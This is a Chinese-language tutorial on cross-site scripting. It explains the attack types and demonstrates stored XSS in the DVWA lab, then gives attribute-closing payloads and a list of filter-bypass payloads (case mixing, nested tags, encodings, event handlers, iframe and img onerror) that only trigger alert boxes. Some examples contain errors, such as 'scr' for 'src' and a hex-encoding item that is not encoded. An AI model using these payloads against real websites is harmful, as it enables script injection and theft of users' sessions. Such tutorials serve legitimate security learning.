一.XSS原理:
跨站脚本攻击(Cross Site Scripting),攻击者通过畸形的输入,往Web页面中插入恶意的javaScript代码,当用户浏览网页时嵌入的恶意JavaScript代码会被执行,从而达到攻击用户的目的。
二:XSS的危害:
1.获取Cookie信息
Cookie中一般会存储加密后用户的登录凭证信息,当你登录后浏览器会携带上Cookie进行访问,相当于一直登录的状态,XSS就可以获取用户的Cookie信息,返回给攻击者,攻击者就可以利用这个凭证直接登录你的账号,使用你能使用的所有功能
2.XSS Wrom攻击(蠕虫)
对网站进行大量破坏,破坏力和影响力非常大(多数在有存储型XSS的地方)
3.获取用户的系统信息
利用XSS可以识别用户的浏览器信息、用户所使用的软件、用户真实IP等信息
三.XSS类型:
反射型-XSS: 将用户输入的恶意代码直接传到服务器端(不保存),后台未经过任何过滤,直接将输入数据返回给浏览器去执行
存储型-XSS:将用户输入的恶意代码存储在服务器端,当其他用户访问这个页面的时候就会执行这些恶意代码,这种XSS具有很强的稳定性(一般这种XSS存在于与数据库交互的地方,比如:登录名)
DOM-XSS :也是属于反射型XSS的一种,纯粹发生在客户端的XSS攻击。通过修改页面的DOM节点形成的XSS,称之为DOMBased XSS。
四.存储型XSS实例(利用的是DVWA平台)
1.这里是一个留言模块,随便输入Name值和Message值
2.留言成功,页面直接把信息返回了回来
3.查看页面源代码,ctrl+f搜索自己刚刚输入的值,找到位置
4.现在我们插入XSS语句试试,<script>alert(1)</script>,插入后就直接弹窗了
5.点击确定看到页面上我们刚刚输入的javascript代码没有了
6.这里是应为代码已经被解析掉了,我们可以通过查看源代码进行查看
五.闭合语句
有些时候你会发现,你输入语句但是没有被解析,下面我们做一个小实验:
1.我们输入正常的弹窗语句,发现并没有弹窗
2.点击右键,查看源代码进行分析
看到这里被当做了一串字符串了,要想执行我们的代码语句就必须要前面的语句,先用双引号”闭合value属性,然后再加一个大于号>闭合input标签,我们的payload就成了"><script>alert(1)</script>
3.这时我们在输入构造的payload,就可以弹窗了
常用的闭合语句:
"><script>alert(1)</script>
‘><script>alert(1)</script>
六.基础过滤绕过:
1.大小写绕过
<ScRipt>AlErt(“1”)</ScRipt>
2.script标签重复绕过
<scr<script>ipt>alert(1)</scr</script>ipt>
3. ASCII编码绕过
String.fromCharCode(60,115, 99, 114, 105, 112, 116, 62, 97, 108, 101, 114, 116, 40, 49, 41, 60, 47,115, 99, 114, 105, 112, 116, 62)
4.超链接绕过
<a href=javascript:alert(1)>123</a>
5.16进制编码绕过
<script>alert(1)</script>
6.过滤尖括号的绕过
'onclick='alert(1)
'onmousemove='alert(1)
7.Unicode编码绕过
<script>\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029</script>
8.利用iframe的scr来弹窗绕过
<iframe src=javascript:alert('xss');height=0 width=0 /><iframe>
9.利用img绕过
<img scr=1 onerror=alert('xss')>
<img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>
注:XSS秉承见框就插,多查看源代码,会发现不一样的世界
感谢各位大佬赏脸,有什么不足的地方请多多指教,欢迎意见轰炸,谢谢!!!